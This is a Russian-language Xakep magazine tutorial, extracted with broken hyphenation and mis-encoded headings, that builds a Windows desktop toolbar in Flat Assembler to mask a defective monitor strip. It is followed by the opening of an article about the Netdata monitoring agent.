из которо го сле дуют все осталь ные фун дамен таль ные законы при роды.
К таковым отно сит ся и закон неубы вающей энтро пии, в соот ветс твии
с которым матери аль ные пред меты со вре менем при ходят в негод ность.
На моем монито ре этот закон про явил ся в виде горизон таль ных полос в вер- 
хней час ти экра на, которые выг лядят как нот ный стан, если под ними
радикаль но чер ный фон, и как интерфе рен цион ная кар тина в двух щелевом
экспе римен те, если фон свет лый.

Де фект монито ра в виде горизон таль ных полос

Оз накомив шись с обзо рами ана логич ных проб лем по роликам на YouTube, я
сос тавил для себя общее пред став ление об этом дефек те. Он может быть
выз ван либо пло хим кон тактом шлей фа, соеди няюще го мат рицу монито ра
с кон трол лером, либо неис прав ностью в элек трон ных ком понен тах самого
кон трол лера. Пос коль ку гаран тий ный срок уже закон чился, я разоб рал
монитор и при шел к выводу, что с отсутс тви ем опы та и инс тру мен тов шан сы
на успешный ремонт у меня при мер но 50 на 50: либо устра ню дефект, либо
испорчу все окон чатель но.

Ка кие еще оста ются вари анты? Знаю по опы ту, что офи циаль ный сер вис,
ско рее все го, выс тавит заг радитель ную цену, а отда вать боево го товари ща
в очу мелые руч ки кус таря-оди ноч ки совесть не поз воля ет. Наибо лее здра вой
кажет ся мысль пой ти в бли жай ший магазин, купить новый монитор и не
дурить голову ни себе, ни читате лям. Имен но так я бы и пос тупил, если бы
монитор не работал сов сем. Но он  работа ет, и выб расывать его поп- 
росту жал ко.

поч ти

А ведь если подумать, ремонт необя затель но пред полага ет вос ста нов- 
ление исходно го качес тва изде лия — зачас тую допус кает ся некото рая утра та
пот ребитель ских свой ств. Как, нап ример, пос тупа ет хакер, обна ружив в один
прек расный день дыру... нет, не в безопас ности, а в любимых домаш них брю- 
ках? Дос тает свой тол стый кошелек и спе шит в бли жай ший бутик за новыми?
Нет, он вспо мина ет уро ки Марь ван ны и, при меняя методо логию «впе ред
игол ка», нак ладыва ет зап латку! Или дру гой при мер. В не менее прек расный
день , что основная антенна ради освя зи
запущен ного к Юпи теру зон да не рас кры лась пол ностью. Раз ве они бро сили
неис прав ное устрой ство на про извол судь бы и обра тились к пра витель ству
за финан сирова нием нового? Нет, они про яви ли наход чивость и тех ничес кую
сме кал ку, в резуль тате чего пусть и не без тру да, но успешно про вели мно- 
голет нюю иссле дова тель скую мис сию.

ин женеры NASA обна ружи ли

ÂÛÁÎÐ ÖÅËÈ È ÑÐÅÄÑÒÂÀ

Рас смат рива емая в статье ситу ация находит ся где-то меж ду эти ми край ними
слу чаями. Наиболь шие неудобс тва опи сан ный дефект дос тавля ет
при исполь зовании раз верну тых на весь экран прог рамм, потому что попада- 
ет либо на адресную стро ку бра узе ра, либо на глав ное меню при ложе ния.
Исполь зование же прог рамм в окон ном режиме, с под гонкой их мес тополо- 
жения пос ле каж дого запус ка, гро зит нер вным расс трой ством. Я готов
пожер тво вать частью полез ной пло щади экра на, если изоб ражение не будет
попадать на дефек тную область.

Ос новная опе раци онная сис тема на моем компь юте ре — Windows.
Как исклю чить полосу в вер хней час ти экра на из дос тупно го прос транс тва
рабоче го сто ла, что бы окна при ложе ний при раз верты вании не попада ли
на нее? Идею мне под ска зала панель задач: она монопо лизи рует ниж нюю
часть экра на и никог да не перек рыва ется окна ми прог рамм. Может быть,
дос таточ но будет прик репить ее к вер хней час ти экра на? Нет, во-пер вых, она
не сов сем под ходит по раз меру, а во-вто рых, сама при обре тает неп ригляд- 
ный вид из-за дефек та. А нель зя ли сде лать «зап латку» с такими же свой ства- 
ми, но что бы поль зователь мог кон тро лиро вать ее раз мер и цвет?

Ока зыва ется, мож но, и ответ быс тро нашел ся в спра воч нике по Win32
API — это . Нап равле ние работы про- 
ясни лось, оста лось выб рать под ходящий инс тру мент для ее выпол нения.
Основное средс тво раз работ ки с исполь зовани ем Win32 API — ком пилятор
С. Но для вызова нес коль ких фун кций опе раци онной сис темы хочет ся вос- 
поль зовать ся чем-то более прос тым и изящ ным. Поэто му я отпра вил ся в тем- 
ную кла довую сво ей памяти и нашел там пыль ную шка тул ку с плос ким мон- 
тажни ком. Если кто-то еще не догадал ся, то так зву чит по-рус ски Flat
Assembler в вари анте Яндекс-перевод чика. Уди витель но, но про дукт,
с которым я поз накомил ся еще в середи не 2000-х, про дол жает жить
и здравс тво вать.

па нель инс тру мен тов рабоче го сто ла

×ÒÎ ÓÌÅÅÒ FLAT ASSEMBLER?

Да вай пря мо сей час раз берем ся со сре дой, в которой будем работать.
На  выбери архив с пос ледней вер сией 

, заг рузи его и рас пакуй куда-нибудь на диск. В трех мегабай тах
пап ки  есть все, что нам пот ребу ется.

стра нице заг рузки сбор ки
для Windows

FASMW
Соз дай пус тую пап ку  для рабоче го про екта и ско пируй в нее

исходный текст шаб лона типово го при ложе ния Windows 

. Запус ти интегри рован ную сре ду раз работ ки

 и с помощью пун кта меню File → Open... заг рузи в нее этот
файл. Обра ти вни мание, что в нашем рас поряже нии есть тек сто вый мно- 
гоокон ный редак тор с под свет кой син такси са ассем бле ра.

Appbar
FASMW\EXAMPLES\

TEMPLATE\TEMPLATE.ASM
FASMW\FASMW.EXE

Тек сто вый редак тор интегри рован ной сре ды FASMW

Шаб лон Windows-при ложе ния на ассем бле ре сос тоит из сле дующих
основных час тей:

за голов ка с ука зани ем фор мата целево го исполня емо го фай ла и точ ки
вхо да в при ложе ние;

•

сек ции кода , где мет ка  ука зыва ет коман ду, с которой дол- 
жно начинать ся выпол нение прог раммы;

• .text start

сек ции дан ных , содер жащей гло баль ные перемен ные прог раммы;• .data
сек ции импорта , в которой перечис лены исполь зуемые прог-
раммой динами чес кие биб лиоте ки и под клю чают ся объ явле ния содер- 
жащих ся в них фун кций.

• .idata

В целом текст прог раммы дол жен быть понятен любому, кто исполь зовал
Win32 API. Во-пер вых, сам API пре дель но прост. Парамет ры всех фун кций
ожи дают 32-бит ных зна чений аргу мен тов, а если дан ные не укла дыва ются
в этот раз мер, то переда ется 32-бит ный ука затель на мас сив или струк туру
опять же 32-бит ных зна чений. Исклю чение, пожалуй, толь ко стро ки. Воз вра- 
щаемое фун кци ей зна чение (нап ример, код завер шения) переда ется через
регистр  или, если оно пре выша ет 32 бита, через струк туру, на которую

ука зывал один из аргу мен тов.

EAX

Во-вто рых, Flat Assembler на осно ве сво его набора мак роинс трук ций
пред лага ет син такси чес кий сахар, который дела ет исполь зование API мак- 
сималь но приб лижен ным к высоко уров невым язы кам прог рамми рова ния.
Ска жем, доволь но слож ный вызов фун кции соз дания окна опи сыва ется одной
стро кой:

  invoke CreateWindowEx,0,_class,_title,WS_VISIBLE+WS_DLGFRAME+
WS_SYSMENU,128,128,256,192,NULL,NULL,[wc.hInstance],NULL

Здесь  — это коман да вызова под прог раммы в соот ветс твии с сог- 
лашени ем STDCALL,  — имя вызыва емой API-фун кции,

а далее через запятую сле дуют аргу мен ты в том поряд ке, в котором они 
. С-прог раммис ты могут счи тать, что име на всех

перемен ных здесь — это ука зате ли ( , ), для разыме нова ния
которых исполь зуют ся квад ратные скоб ки ( ). Отме тим при- 

выч ную «точеч ную» нотацию дос тупа к эле мен там струк туры.

invoke
CreateWindowEx

опи- 
саны в докумен тации

_class _title
[wc.hInstance]

Опи сание окон ной про цеду ры WindowProc тоже не дол жно выз вать зат- 
рудне ний:

      proc WindowProc uses ebx esi edi, hwnd,wmsg,wparam,lparam
 ...
 ret
endp

Сог лашение Win32 API тре бует, что бы пос ле воз вра та из про цедур обратно го
вызова (callback-про цедур) зна чения регис тров ,  и  были такими

же, как и перед вызовом. Для это го в заголов ке при сутс тву ет ука зание на сох- 
ранение этих регис тров в виде фра зы . А даль ше через

запятую идет спи сок фор маль ных парамет ров про цеду ры, которые соот ветс- 
тву ют докумен тации.

EBX ESI EDI

uses ebx esi edi

Те перь ты можешь ском пилиро вать и выпол нить эту прог рамму. Но сна- 
чала ука жи путь к пап ке с под клю чаемы ми дирек тивой  фай лами

в пун кте меню Options → Compiler setup так, что бы он соот ветс тво вал фак- 
тичес кому мес тополо жению . Пос ле это го выпол ни пункт
меню Run → Run или прос то наж ми кла вишу F9. Если все было сде лано пра-
виль но, то в рабочей пап ке  появит ся све жесоб ранный файл

, а на экра не отоб разит ся кро шеч ное окно Win32 program
template.

include

FASMW\INCLUDE

Appbar
TEMPLATE.EXE

Нас трой ка пути к под клю чаемым фай лам

ÑÎÇÄÀÍÈÅ ÎÁÐÀÁÎÒ×ÈÊÀ ÑÎÎÁÙÅÍÈß WM_CREATE

Со сре дой раз работ ки разоб рались, прис тупим к работе над прог раммой.
Если рань ше ты никог да не прог рамми ровал панели рабоче го сто ла Windows,
то сей час самое вре мя изу чить докумен тацию. Но перед этим хочу обра тить
вни мание на основные момен ты. Панель рабоче го сто ла не явля ется
каким-то уни каль ным объ ектом опе раци онной сис темы. Роль панели может
играть любое окно, соз данное фун кци ей . Все средс тва
Windows, обес печива ющие фун кци они рова ние панели, сос редото чены
в единс твен ной , с помощью которой мож но:

CreateWindowEx

фун кции SHAppBarMessage
уз нать гра ницы области рабоче го сто ла, в пре делах которых мож но раз- 
местить новую панель инс тру мен тов;

•

за резер вировать на этой области учас ток для раз мещения новой панели;•
ука зать манипу лятор ( ) окна с панелью, которо му будут отправ- 
лять ся сис темные уве дом ления, свя зан ные с изме нени ем обста нов ки
на рабочем сто ле.

• handle

Пос ле резер вирова ния новой области опе раци онная сис тема зап реща ет ее
исполь зование окна ми при ложе ний при их мак симиза ции, осво бож дает
от знач ков рабоче го сто ла (если таковые на ней были) — и, в общем-то, всё.
За внеш ний вид панели отве чает ассо цииро ван ное с нею окно, которое
теоре тичес ки дол жно зак рыть собой осво бож денное прос транс тво и при нять
соот ветс тву ющий стиль. Но по боль шому сче ту может это го и не делать.

С помощью пун кта меню File → Save as... сох рани откры тый в редак торе
файл под име нем . В нашей прог рамме панелью будет глав ное

окно при ложе ния. Зарезер виру ем для нее полосу в вер хней час ти рабоче го
сто ла. Это мож но сде лать в обра бот чике , которое
отправ ляет ся опе раци онной сис темой окну при ложе ния непос редс твен но
перед тем, как отоб разить его на экра не. Для это го в начале окон ной про- 
цеду ры  вста вим стро ки перехо да к обра бот чику сооб щения:

appbar.asm

со обще ния WM_CREATE

WindowProc

     cmp [wmsg],WM_CREATE
je      .wmcreate

и напишем сам обра бот чик перед мет кой :.wmdestroy

.wmcreate:
   stdcall wmCreateProc, [hwnd]
      jmp .finish

INFO

Мет ки, которые начина ются с точ ки, явля ются
локаль ными по отно шению к про цеду ре, где они
исполь зуют ся (в дан ном слу чае — ).
Это еще одна фиш ка Flat Assembler, которая поз- 
воля ет не бес поко ить ся о том, что в раз ных про- 
цеду рах име на меток могут пов торять ся.

WindowProc

Наш обра бот чик вызыва ет пока еще не сущес тву ющую про цеду ру
 и переда ет ей зна чение манипу лято ра соз данно го окна. В этой

про цеду ре надо опи сать дей ствия по резер вирова нию полосы и позици они- 
рова нию глав ного окна, пос ле чего обну лить регистр  для сиг нализи рова- 
ния об успешном завер шении про цеду ры. Если пос ле обра бот ки сооб щения

 зна чение регис тра  будет рав но , опе раци онная сис тема

вос при мет это как сиг нал о проб леме, что при ведет к завер шению работы
прог раммы. Текст про цеду ры  мож но раз местить пос ле опе- 
рато ра , зак рыва юще го блок опи сания окон ной про цеду ры :

wmCreateProc

EAX

WM_CREATE EAX (-1)

wmCreateProc
endp WindowProc

 proc wmCreateProc,hwnd
  invoke MessageBox,[hwnd],_title,_class,MB_OK+MB_ICONINFORMATION
  xor eax,eax
 ret
endp

INFO

Вот про межу точ ный вари ант прог раммы, который
выводит отла доч ное сооб щение: 

.
appbar-

ver1.asm

Про цеду ра  в таком виде не дела ет ничего полез ного, но при
запус ке прог раммы выводит окно с информа цион ным сооб щени ем, которое
дает понять, что на этом эта пе все работа ет так, как ожи дает ся.

wmCreateProc

INFO

Вни матель но сле ди за тем, что бы количес тво
и порядок аргу мен тов в коман де вызова про цеду- 
ры всег да соот ветс тво вали количес тву и поряд ку
парамет ров в ее опи сании. FASMW это не кон- 
тро лиру ет, и, если допус тить неб режность, мож но
получить труд но обна ружи ваемые ошиб ки.

Продолжение статьи →
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ЗАПЛАТКА НА АСМЕ
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КОДИНГ  НАЧАЛО СТАТЬИ←

ÏÎÄÃÎÒÎÂÊÀ Ê ÈÑÏÎËÜÇÎÂÀÍÈÞ ÔÓÍÊÖÈÈ SHAPPBARMESSAGE

Прог рамма и опе раци онная сис тема догова рива ются о резер вирова нии
прос транс тва для панели инс тру мен тов с помощью 

 через . Опре деле ние этой струк- 
туры отсутс тву ет в под клю чаемых фай лах из пос тавки FASMW, поэто му при- 
дет ся соз дать его самому на осно ве докумен тации. Помес тим его в отдель- 
ном фай ле. Для это го выбери пункт меню File → New и на открыв шей ся вклад- 
ке тек сто вого редак тора набери сле дующее:

фун кции
SHAppBarMessage струк туру APPBARDATA

 struct APPBARDATA
  cbSize                  dd ?
  hWnd                    dd ?
  uCallbackMessage        dd ?
  uEdge                   dd ?
 rc                      RECT
  lParam                  dd ?
ends

Так выг лядит опи сание типа струк туры в Flat Assembler. Пос ле наз вания поля
сле дует спе цифи катор типа (  озна чает 4-бай товое двой ное сло во, а знак

воп роса — неоп ределен ное зна чение), в качес тве которо го, в свою оче редь,
может исполь зовать ся имя извес тной струк туры (нап ример, ). Что бы

не воз вра щать ся к дан ному воп росу еще раз, в этот же файл мож но дописать
опре деле ния кон стант, которые исполь зуют ся фун кци ей :

dd

RECT

SHAppBarMessage

  ABM_NEW = 0x0
  ABM_REMOVE = 0x1

  ABM_QUERYPOS = 0x2
  ABM_SETPOS = 0x3

  ABE_LEFT = 0
  ABE_TOP = 1

  ABE_RIGHT = 2
  ABE_BOTTOM = 3

  MSG_ABNOTIFY = WM_USER+1
  APPBAR_THICKNESS = 64

Кон стан ты с пре фик сом  пред став ляют собой коды услуг, зап рашива- 

емых у опе раци онной сис темы, а с пре фик сом  озна чают гра ницы

рабоче го сто ла, у которых пред полага ется раз мещение панели. Кон стан та
 соот ветс тву ет «поль зователь ско му» (то есть нес тандар тно му,

выбира емо му прог раммис том) иден тифика тору сооб щения, который мы
пред ложим исполь зовать опе раци онной сис теме при отправ ке уве дом лений
окну панели инс тру мен тов. Тут же опре делим кон стан ту 

с жела емым зна чени ем ширины панели.

ABM_
ABE_

MSG_ABNOTIFY

APPBAR_THICKNESS

Сох рани наб ранный текст в фай ле с име нем  с помощью пун- 
кта меню File → Save As...

appbar.inc

INFO

Под клю чаемый файл с объ явле нием струк туры
 и опре деле ниями кон стант:

.
APPBARDATA
appbar.inc

Те перь вер нись к редак тирова нию фай ла  с тек стом прог раммы

(для это го можешь нажать сочета ние кла виш Ctrl-Tab) и в его начале
перед сек цией кода вставь стро ку под клю чения под готов ленных опи саний:

appbar.asm

 include 'appbar.inc'

INFO

Пос ле вне сения в текст прог раммы закон ченной
пор ции изме нений (как, нап ример, сей час) про- 
веряй, ком пилиру ется ли она. При этом сле ди,
что бы активной в тек сто вом редак торе была
вклад ка с основным тек стом прог раммы, а не
под клю чаемым модулем. Если FASM сооб щает
об ошиб ке, надо переп роверить пос ледние изме- 
нения и устра нить ошиб ку преж де, чем дви гать ся
даль ше.

Сей час, ког да у нас есть объ явле ние типа , мы можем опре делить

гло баль ную перемен ную  это го типа, для чего в сек цию дан ных сле дует

добавить такую стро ку:

APPBARDATA
abd

         
 

abd APPBARDATA sizeof.APPBARDATA, 0, MSG_ABNOTIFY, ABE_TOP, <0, 0, 0,
0>, 0

Эта стро ка сов меща ет опре деле ние перемен ной (при котором резер виру- 
ется память) с ее ини циали заци ей (при которой полям прис ваивают ся
началь ные зна чения). Обра ти вни мание, что ини циали затор поля вло жен ной
струк туры  зак лючен в угло вые скоб ки. Мак рооп ределе ния FASM поз- 

воля ют ука зать раз мер струк туры  с помощью конс трук ции

.

abd.rc
APPBARDATA

sizeof.APPBARDATA
Фун кция  находит ся в сис темной динами чес кой биб- 

лиоте ке . Поэто му пот ребу ется добавить стро ки в сек цию

импорта, в резуль тате чего она при обре тет сле дующий вид:

SHAppBarMessage
Shell32.dll

     section '.idata' import data readable writeable

  library kernel32,'KERNEL32.DLL',\
         user32,'USER32.DLL',\
         shell32,'SHELL32.DLL'

  include 'api\kernel32.inc'
  include 'api\user32.inc'
  include 'api\shell32.inc'

INFO

Что бы узнать, в какой динами чес кой биб лиоте ке
находит ся фун кция Win32 API, надо открыть
на  стра ницу
докумен тации с опи сани ем этой фун кции и бли же
к кон цу стра ницы отыс кать сек цию Requirements.
Из этой сек ции мож но узнать минималь ную под- 
держи ваемую вер сию Windows (Minimum
supported client/server), имя заголо воч ного фай ла
для язы ка прог рамми рова ния С с объ явле нием
этой фун кции (Header, ), ста тичес кую биб- 
лиоте ку, которую надо под клю чить к исполня емо- 
му фай лу для исполь зования фун кции (Library, 

), и, наконец, имя фай ла динами чес кой биб- 
лиоте ки (DLL, ).

офи циаль ном сай те Microsoft

*.h

*.
lib

*.dll

Убе дись, что прог рамма ком пилиру ется и работа ет.

INFO

Про межу точ ный вари ант прог раммы со все ми
пред варитель ными объ явле ниями и опре деле- 
ниями: .appbar-ver2.asm

ÐÅÇÅÐÂÈÐÎÂÀÍÈÅ ÏËÎÙÀÄÊÈ ÄËß ÏÀÍÅËÈ

Под готови тель ные мероп риятия закон чены, мы на финиш ной пря мой.
Не запус кай прог рамму, пока я не ска жу. Для про вер ки син такси са можешь
пери оди чес ки ком пилиро вать исходный текст в исполня емый файл через
пункт меню Run → Compile, но прог рамму не запус кай!

Вер немся к бло ку с про цеду рой , уда лим из него стро ку
вывода отла доч ного сооб щения и напол ним при ложе ние смыс лом. В соот- 
ветс твии с докумен таци ей, сна чала дек лариру ем желание соз дать панель
инс тру мен тов рабоче го сто ла, для чего вызовем фун кцию 
с сооб щени ем  и струк турой , в которой запол нены поля

,  (при ини циали зации перемен ной) и  (непос- 

редс твен но перед вызовом фун кции):

wmCreateProc

SHAppBarMessage
ABM_NEW APPBARDATA

cbSize uCallbackMessage hWnd

 proc wmCreateProc,hwnd
   mov eax, [hwnd]
   mov [abd.hWnd], eax
    invoke SHAppBarMessage, ABM_NEW, abd
   cmp eax, TRUE
  je @f
   mov eax, -1
 ret
@@:

Здесь мы впер вые стал кива емся с огра ниче нием ассем бле ра, которое
не поз воля ет нап рямую пересы лать дан ные из одной ячей ки памяти в дру гую,
в резуль тате чего нам приш лось вос поль зовать ся регис тром  в качес тве

про межу точ ного хра нили ща. Пос ле вызова фун кции про веря ем воз вра щен- 
ное ею зна чение. Если опе раци онная сис тема не воз ража ет про тив исполь- 
зования окна в качес тве панели, то регистр  будет содер жать .

EAX

EAX TRUE
Flat Assembler пред лага ет удоб ную сис тему локаль ных меток для корот ких

перехо дов, которая поз воля ет «переп рыгивать» через нес коль ко команд
при подоб ных про вер ках. Так, коман да  совер шит переход на бли жай- 

шую сле дующую мет ку  в слу чае получе ния равенс тва при пре дыду щем

срав нении . Если надо совер шить переход на бли жай шую

пре дыду щую мет ку , то в коман де перехо да надо ука зать .

je @f
@@

cmp eax, TRUE
@@ @b

Та ким обра зом, в слу чае неравенс тва в регистр  будет записа но зна- 

чение  и воз вра щено опе раци онной сис теме. Она, как было отме чено

выше, вос при мет его в качес тве приз нака проб лемы при обра бот ке сооб- 
щения , что при ведет к завер шению работы при ложе ния.

EAX
(-1)

WM_CREATE
Зап росим у Windows гра ницы рабоче го сто ла, в пре делах которых мож но

раз местить панель. Без лиш ней скром ности отпра вим заяв ку через 
на весь раз мер экра на, а опе раци онная сис тема при ведет зна чения полей
струк туры  в соот ветс твие реаль ной обста нов ке. Для это го узна ем у сис- 

темы, а потом запишем в  ширину экра на, умень шен ную
на еди ницу, а в  — умень шен ную на еди ницу высоту экра на,

пос ле чего вызовем фун кцию  с сооб щени ем

.

abd.rc

RECT
abd.rc.right

abd.rc.bottom
SHAppBarMessage

ABM_QUERYPOS

  invoke GetSystemMetrics, SM_CXSCREEN
 dec eax
  mov [abd.rc.right], eax

  invoke GetSystemMetrics, SM_CYSCREEN
 dec eax
  mov [abd.rc.bottom], eax

   invoke SHAppBarMessage, ABM_QUERYPOS, abd

Пос ле воз вра та в струк туре  будут находить ся гра ницы допус тимой

области. Нам же нуж на толь ко полоса шириной  у вер хне го

края рабоче го сто ла. Поэто му под тянем вверх ниж нюю коор динату и зат ребу- 
ем у опе раци онной сис темы получив шуюся полосу через вызов фун кции

 с сооб щени ем :

abd.rc
APPBAR_THICKNESS

SHAppBarMessage ABM_SETPOS

  mov eax, [abd.rc.top]
  add eax, APPBAR_THICKNESS
 dec eax
  mov [abd.rc.bottom], eax

   invoke SHAppBarMessage, ABM_SETPOS, abd
 xor eax,eax

ret
endp

В кон це про цеду ры оставля ем обну ление регис тра  коман дой 
 и воз врат это го нулево го зна чения опе раци онной сис теме, которое она

вос при мет как успешное завер шение обра бот чика .

EAX xor eax,
eax

WM_CREATE
По ка пред положим, что мы все сде лали пра виль но. Резуль татом выпол- 

нения перечис ленных дей ствий дол жно стать отре зание полосы от вер хней
гра ницы рабоче го сто ла. Если запус тить прог рамму в таком виде, то зарезер- 
вирован ная область оста нет ся «не у дел» даже пос ле ее завер шения и при- 
дет ся перезаг ружать компь ютер. Мы дол жны явным обра зом вер нуть опе- 
раци онной сис теме получен ную во вре мен ное поль зование полосу, для чего
допол ним в окон ной про цеду ре  блок обра бот ки сооб щения

 сле дующей стро кой (ее надо вста вить сра зу пос ле мет ки 
):

WindowProc
WM_DESTROY .
wmdestroy

   invoke SHAppBarMessage, ABM_REMOVE, abd

INFO

Про межу точ ный вари ант прог раммы, который
уме ет резер вировать и осво бож дать учас ток
рабоче го сто ла: .appbar-ver3.asm

А вот теперь мож но и даже нуж но запус тить получив шуюся прог рамму и пос- 
мотреть, как она работа ет. Про буй переме щать окна при ложе ний, раз ворачи- 
вать их на весь экран и смот ри, как они себя при этом ведут. Обра ти вни- 
мание, что глав ное окно получив шей ся прог раммы сущес тву ет как буд то
отдель но от зарезер вирован ной им на рабочем сто ле полосы. При завер- 
шении прог раммы ситу ация на рабочем сто ле дол жна вос ста нав ливать ся.
Если оста ются какие-то осо бен ности, то перезаг рузи компь ютер и вни- 
матель но про верь прог рамму.

ÍÀÑÒÐÎÉÊÀ ÎÊÍÀ ÏÀÍÅËÈ

Ос талось толь ко при вес ти глав ное окно нашего при ложе ния в соот ветс твие
с его задачей. Для это го, во-пер вых, под пра вим сти ли окна в стро ке
с вызовом фун кции  сле дующим обра зом:CreateWindowEx

  invoke CreateWindowEx,WS_EX_TOPMOST+WS_EX_TOOLWINDOW,_class,_title,
WS_POPUP,128,128,256,192,NULL,NULL,[wc.hInstance],NULL

А во-вто рых, допол ним про цеду ру  стро ками, выпол няющи ми

позици они рова ние окна на зарезер вирован ной полосе рабоче го сто ла.
Для это го сра зу пос ле ее заголов ка помес тим стро ку опре деле ния локаль ных
перемен ных:

wmCreateProc

  local width:DWORD, height:DWORD

Пос ле име ни перемен ной через дво ето чие ука зан ее тип (как в пас кале). Ана- 
логич ным обра зом мож но ука зывать типы парамет ров про цедур. Мы это го
не делали, потому что нас устра ивает 32-бит ный тип, пред полага емый
по умол чанию. Стро ки вычис ления раз меров и переме щения окна надо раз- 
местить в кон це про цеду ры перед фор мирова нием воз вра щаемо го зна чения
в регис тре :EAX

  mov eax, [abd.rc.right]
  sub eax, [abd.rc.left]
 inc eax
  mov [width], eax
  mov eax, [abd.rc.bottom]
  sub eax, [abd.rc.top]
 inc eax
  mov [height], eax

      
  

invoke SetWindowPos, [hwnd], HWND_TOP, [abd.rc.left], [abd.rc.top], [
width], [height], SWP_NOACTIVATE+SWP_SHOWWINDOW

INFO

Окон чатель ный вари ант прог раммы: .appbar.asm

За пус ти получив шееся при ложе ние. Мес то зарезер вирован ной полосы
рабоче го сто ла дол жно занять серое окно без рамок и заголов ка — наша
зап латка. Не пытай ся завер шить прог рамму через дис петчер задач, потому
что зарезер вирован ная часть рабоче го сто ла в этом слу чае не осво бодит ся.
Вмес то это го щел кни левой кноп кой мыши по этой полосе и наж ми ком- 
бинацию кла виш Alt-F4. Прог рамма завер шится, а рабочий стол вер нется
в исходное сос тояние.

ÇÀÊËÞ×ÅÍÈÅ

Так мне уда лось устра нить глав ное неудобс тво от дефек та монито ра
при исполь зовании раз верну тых на весь экран при ложе ний. Попут но мы узна- 
ли о том, как соз дать свою панель инс тру мен тов для рабоче го сто ла Windows.

Раз работан ное при ложе ние мож но взять в качес тве заготов ки для более
фун кци ональ ной панели, а не такой, которая, как кар тина в муль тфиль ме
про дядю Федора, «дыр ку на обо ях загора жива ет». В качес тве панели
исполь зовано глав ное окно при ложе ния, что поз воля ет добавить на него эле- 
мен ты управле ния, текст, рисун ки... Но пер вым делом я бы добавил защиту
от пов торно го запус ка прог раммы (для это го надо вос поль зовать ся име- 
нован ным мьютек сом, который соз дает ся с помощью ).
Не помеша ет добавить и реаги рова ние на уве дом ления  — их

может отправ лять нашему окну опе раци онная сис тема (нап ример, при запус- 
ке пол ноэк ранно го при ложе ния или активнос ти сосед них панелей).

фун кции CreateMutex
MSG_ABNOTIFY

А вот выб ранный инс тру мент раз работ ки Flat Assembler с ассем бле ром
в качес тве язы ка прог рамми рова ния оставля ет про тиво речи вые чувс тва.
К положи тель ным чер там мож но отнести:

ком пак тный раз мер и быс трое раз верты вание на любом Windows-компь- 
юте ре;

•

воз можность пол ноцен но исполь зовать методо логию струк турно го прог- 
рамми рова ния бла года ря мак рооп ределе ниям, что прак тичес ки сни мает
огра ниче ние на слож ность про ектов;

•

оди нако вая работа при ложе ний на всей линей ке Windows от Windows
2000 до Windows 10 x86-64 бла года ря исполь зованию Win32 API;

•

ма лый раз мер генери руемых EXE-фай лов (раз работан ное в статье при- 
ложе ние занима ет 2,5 Кбайт на дис ке).

•

Спор ные момен ты, на мой взгляд, сле дующие:
жес ткая при вяз ка к архи тек туре про цес соров Intel;•
сла бая «защита от дурака» (прак тичес ки отсутс тву ет кон троль типов
перемен ных и соот ветс твия фак тичес ких аргу мен тов при вызове фун кций
объ явленным фор маль ным парамет рам).

•

Как бы то ни было, с исполь зовани ем Flat Assembler впол не мож но изу чать
осно вы прог рамми рова ния на ассем бле ре для архи тек туры х86. Этот инс тру- 
мент поможет осво ить син таксис и основные конс трук ции язы ка всем, кто
еще не стал кивал ся с ассем бле ром, но жела ет исполь зовать его в будущем
для соз дания собс твен ных при ложе ний.

https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shappbarmessage
https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-appbardata
https://xakep.ru/wp-content/uploads/2022/01/372862/appbar.inc
https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list
https://xakep.ru/wp-content/uploads/2022/01/372862/appbar-ver2.asm
https://xakep.ru/wp-content/uploads/2022/01/372862/appbar-ver3.asm
https://xakep.ru/wp-content/uploads/2022/01/372862/appbar.asm
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa
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АДМИН

Воз можно, у тебя есть сер вер, роутер или еще какой-то
девайс, за работой которо го нуж но сле дить. Как сде лать
сис тему монито рин га, которая сама по себе не будет тре- 
бовать вни мания и ресур сов? Я рекомен дую в таких слу чаях
исполь зовать прос той, а глав ное — бес плат ный инс тру мент
под наз вани ем Netdata. О его воз можнос тях я рас ска жу
в этой статье.

Обыч но для сбо ра ста тис тики при ходит ся раз ворачи вать что-то боль шое
и гро моз дкое, вро де Zabbix, Nagios или Icinga. Для них еще нуж ны базы дан- 
ных, пос тоян ный пуб личный дос туп с белым IP и вычис литель ные мощ ности,
которые мож но было бы пот ратить на что-нибудь дру гое. Обслу жива ние
подоб ных про дук тов тоже порой ока зыва ется весь ма зат ратным.

Но что делать, если нужен прос то монито ринг без энтер прай зных
решений, но с широки ми воз можнос тями? При этом хорошо бы не занимать- 
ся под дер жкой, миг раци ями, обновле ниями, заменой ком плек тующих и про- 
чими ресур созат ратны ми вещами? Спе циаль но для решения имен но этой
прак тичес кой задачи сущес тву ет агент Netdata. Пос тара юсь рас ска зать
о воз можнос тях Netdata и о тех фун кци ях, которые я исполь зую в сво их про- 
ектах. В статье мы рас смот рим уста нов ку аген та Netdata на при мере Rocky
Linux.

Î NETDATA

Netdata — это агент, который пред назна чен для раз верты вания на физичес- 
ких и вир туаль ных сер верах, в кон тей нерах, на IoT-устрой ствах. Он работа ет
в Linux, FreeBSD, macOS, Kubernetes, Docker, LXC, LXD, Xen и про чих.

Агент Netdata отсле жива ет боль шое количес тво показа телей сис темы.
Фун кци ональ ность рас ширя ется готовы ми пла гина ми. Есть хорошо сос- 
тавлен ное руководс тво, как писать собс твен ные кас томизи рован ные допол- 
нения. Если рань ше при соз дании пла гинов пред почте ние отда валось Python,
то теперь раз работ чики перехо дят на язык Go (Golang). Под дер жку Python
ник то не отме няет, кро ме того, агент уме ет работать с пла гина ми на Bash
и Node.js.

Netdata исполь зует фай лы из procfs для базово го монито рин га сис темы.
Пос ле запус ка аген та стар туют пла гины, которые под клю чают ся к монито рин- 
гу сер висов. Пор ты и методы монито рин га пре доп ределе ны в кон фигура ции
по умол чанию. Если сер висы для запус каемых пла гинов недос тупны
или отсутс тву ют, их работа прек ратит ся, но это не при ведет к оста нов ке
или кра ху Netdata, как это про исхо дит, нап ример, с telegraf. Пот ребле ние
ресур сов край не невели ко, ведь Netdata работа ет и на роуте рах с OpenWRT.

Netdata «из короб ки» под держи вает монито ринг 
сер висов. Это PostgreSQL, MySQL, Redis, RabbitMQ, MongoDB, OpenLDAP,
SNMP, Apache, nginx и дру гие. Реали зован сбор и агре гация мет рик вплоть
до одной секун ды, име ются готовые триг геры событий для опо веще ний в 

 Агент собира ет ста тис тику пот ребле- 
ния ресур сов по поль зовате лям и сер висам (CPU, IO, RAM, network)
